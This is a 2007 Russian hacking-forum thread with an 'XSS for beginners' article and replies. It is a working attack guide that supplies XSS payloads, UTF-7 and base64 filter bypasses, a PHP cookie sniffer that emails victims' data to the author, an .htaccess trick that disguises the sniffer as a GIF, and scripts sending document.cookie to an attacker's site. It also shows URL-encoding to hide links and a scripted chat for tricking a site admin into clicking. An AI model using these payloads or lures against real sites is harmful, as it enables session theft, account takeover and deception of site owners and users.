Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Cross Site Scripting для новичков (https://forum.antichat.xyz/showthread.php?t=44125)

_Pantera_ 09.07.2007 21:26

Cross Site Scripting для новичков
 
Cross Site Scripting для новичков

Целью являеться объединение всех начальных тем про XSS. Статью писал от себя, накопленными мной знаниями, некоторые моменты были взяты с разных источников.

Кто выше МОА или знаком с XSS идем сюда


Начнем с самого начала

Для обнаружения XSS необходимо во все поля вписать следующий скрипт
PHP код:

<script>alert()</script

Если она не сработала, это еще не значит что ее там нет. Смотрим сорс странички и видим примерно следующие:
PHP код:

<a href="index.php?id=1<script>alert()</script>">2</a

Из примера видно что файлу index.php с параметром id передаеться 1<script>alert()</script>. Это как раз то что нам надо. Для того что б скрипт сработал необходимо закрыть тег. Это можно сделать передав парамету id значение "><script>alert()</script>
После закрытия код выглядит вот так:
PHP код:

<a href="index.php?id=1"><script>alert()</script>">2</a> 

и мы видим алерт, который сообщает нам что уязвимость присутствует. Иногда бывает так, что стандартный способ не проходит, тогда пробуем подставить
PHP код:

<IMG SRC="javascript:alert(); 

Но и это не всегда проходит, так как веб-мастера тоже не лохи, они фильтруют или вырезают спецальные символы. Для обхода можно использовать способ, который описал Algol. Кодировать будем кодировкой UTF-7.

В ней используються символы: +,-,!,буквы латинского алфавита и цыфры, а они обычно не фильтруються :)
Но к сажелению этот способ работает только под IE, и у вас должен стоять автовыбор кодировки.
Пример работы можете посмотреть здесь
PHP код:

+ADw-script+AD4-alert();+ADw-/script+AD4

< кодируется как +ADw-
> кодируется как +AD4-
Более подробно можно почитать здесь
Ну что ж, а что с этим делать спросите вы? - а вот что:
Цитата:

1. Зайдите на сайт где есть пасивная XSS
2. Зарегестрируйтесь на нем
3. Зайдите под своим акком
4. Впешите вот этот скрипт
PHP код:

<script>alert(document.cookie)</script

в поле где была обнаружена XSS

Теперь выскочил не просто алерт, в нем записаны ваши куки. Но цель то наша не посмотреть наши куки,
а угнать чужие.

Делаеться это так:
Цитата:

1. Регестрируемся на бесплатном хостинге с поддержкой PHP
2. Создаем свой снифер
Я написал простенький снифер, думаю многм начинающим он очень пригодиться.
Для начала создадим главный файл для кода снифера и назовем его к примеру s.php
В него впишем вот этот код
PHP код:

<?php
$ip 
UrlDecode(getenv('REMOTE_ADDR'));
$referer UrlDecode(getenv('HTTP_REFERER'));
$query UrlDecode(getenv('QUERY_STRING'));
mail("vasemilo@mail.ru""Cookie""IP: $ip\n Adress: $referer\n Query: $query");
?>

Далее берем любую маленькую гиф картинку и называем ее image.gif
И самое последнее создем файл .htaccess и вписуем в него
PHP код:

RewriteEngine On
RewriteRule image
.gif s.php 

Теперь при обращеннии к картинке будет выполняться наш php файл.
3. Наиболее ответственный момент, необходимо подсунуть нашей жертве скрипт, который крадет куки. Вот он:
PHP код:

<script>img = new Image(); img.src "http://vash-site.ru/image.gif?"+document.cookie;</script


Когда жертва пройдет по ссылке, его куки будут отправленны вам на почу. Это все конечно хорошо, но
ссылка со скриптом в таком виде будет выглядить очень подозрительной, для этого необходимо ее закодировать в url кодировку.
Теперь скрипт будет выгледить вот так:
PHP код:

%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%69%6D%61%67%65%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E 

Но можно еще сделать по другому, а именно создать на своем сайте файлик 1.js в него вписать
PHP код:

img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie

и давать уже ссылку на наш скрипт
PHP код:

http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script> 

или закодированный вариант
PHP код:

http://www.site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E 

как видите, такая ссылка менее подозрительно и впарить ее админу намного легче, вот пример:
Цитата:

Я: привет
админ: привет
Я: что это за бред у тебя с сайтом
PHP код:

http://site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E 


Очень короткий разговор, но очень надежный. Люди по своей натуре очень любопытны, а тем более когда дело косаеться ихней собственности.
Вот таким вот довольно простым способом мы угнали куки админа. Теперь остается их заменить, и вы админ =)

С активными XSS дело намного проще.
Цитата:

1. находим поле в гостевой (к примеру) которое не фильтрует спец-символы
2. вписуем туда наш скрипт
3. добавляем сообщение и видим, что скрипт срабатывает каждый раз, при заходе на страничку, т.е нам не надо давать страшные длинные ссылки с закодированным скриптом, достаточно просто дать ссылку адмну, (что б долго не ждать)
на его гостевую и куки у нас в руках =) (правда там куки не всегда есть)
На форумах все предстоит по другому. Разрешены только BB-теги. Достаточно неплохо о них написал Micr0b. Читать тут

XSS нападения через протокол DATA

Наверняка многие из вас не слышали о данном методе атак.
Что б было понятно я расскажу о нем на примере.
Цитата:

1. Зайдите на forum.antichat.ru и авторизируйтесь
2. Удалите из строки браузера url
3. Впешите
PHP код:

data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ

4. И нажминте Enter

Как видите, в алерте отобразились наши куки =)
Смысл в том, что мы кодируем наш скрипт кодировкой base64, в данном случае <script>alert(document.cookie)</script>
и выполняем его. Прелесть этого вида атаки в том, что XSS есть даже когда на сайте стоят фильтры.
проверялась под Firefox/2.0.0.4

XSS нападение через Flash-анимации

Заключаеться в следующем.
1. Находим сайт, где разрешено публичное добовление Flesh мультика
2. Откроем Macromedia Flash
3. Жмем правой кнопкой мыши по первому кадру и выбираем в появившемся меню Actions
4. Вписываем
PHP код:

getURL("javascript:alert()"

и сохраняем
Впринцыпе у нас получиться активная XSS необходимо просто для пользы alert() заменить на код снифера =)



PS 1.1 надеюсь статья поможет новичкам, старался расписать все доступным языком. пользовался матерьялами forum.antichat.ru, www.inattack.ru.
1.2 Прежде чем написать что это боян и копи-паст читаем пункт 1.1

freddi 09.07.2007 23:06

допиши еще про заливку всяких файлов (картинки, txt, pdf) со скриптом.

_Pantera_ 09.07.2007 23:33

Цитата:

Сообщение от freddi
допиши еще про заливку всяких файлов (картинки, txt, pdf) со скриптом.

Хорошим примером послужит бывшая XSS на mail.ru. Работала она под IE.
Брался простой txt файл и в него прописывался
PHP код:

<script>alert()</script

сохранялся и переименовывался в *.jpg
Далее хакер отправлял письмо, только не с алертом, а с снифером и получал куки жертвы.

guest3297 10.07.2007 17:02

Почитал бы про подробную реализацию во Феше с помошь action script.

Digimortal 10.07.2007 18:27

invlose верно говорит : использовать XSS нападения через протокол DATA таким образом, как это описано в статье не выйдет => автор сам не разобрался в том о чем пишет => зачем тогда писать ??
все описано в статье очень и очень поверхностно, и почему-то весьма напоминает вот это: http://www.cyberinfo.ru/index.php?newsid=1078
=/

_Pantera_ 10.07.2007 18:47

Ребята, та мне наплевать что вам не понравилось. Я рад что моя статья помогла новичкам. А насчет нападения через протокол DATA попробуйте убрать пробелы.

ps Я никогда не пишу того, что не понимаю.

Digimortal 10.07.2007 18:57

>> А насчет нападения через протокол DATA попробуйте убрать пробелы.

хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?

_Pantera_ 10.07.2007 19:05

Цитата:

Сообщение от Digimortal
>> А насчет нападения через протокол DATA попробуйте убрать пробелы.

хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?

Юзаю только FireFox

Digimortal 10.07.2007 19:14

>> Юзаю только FireFox

версия?

_Pantera_ 10.07.2007 19:24

Цитата:

Сообщение от invlose
2.если на странице будет ссылка
с href='---закодировано--base64---' (то что ты привел как пример) то при нажатии на нее СТО процентов не вылезят куки сайта на котором была эта ссылка

Куки приходят, я проверял. Делаеться следующим образом
1 кодируеться в base64
PHP код:

<script>img = new Image(); img.src "http://site.ru/image.gif?"+document.cookie;</script

получаеться
PHP код:

PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ

2 Вписуеться в окно браузера
PHP код:

data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ

3 нажимаеться ENTER и куки приходят, в моем случае на мыло

Firefox/2.0.0.4 думаю на других работать тоже должно


Время: 22:44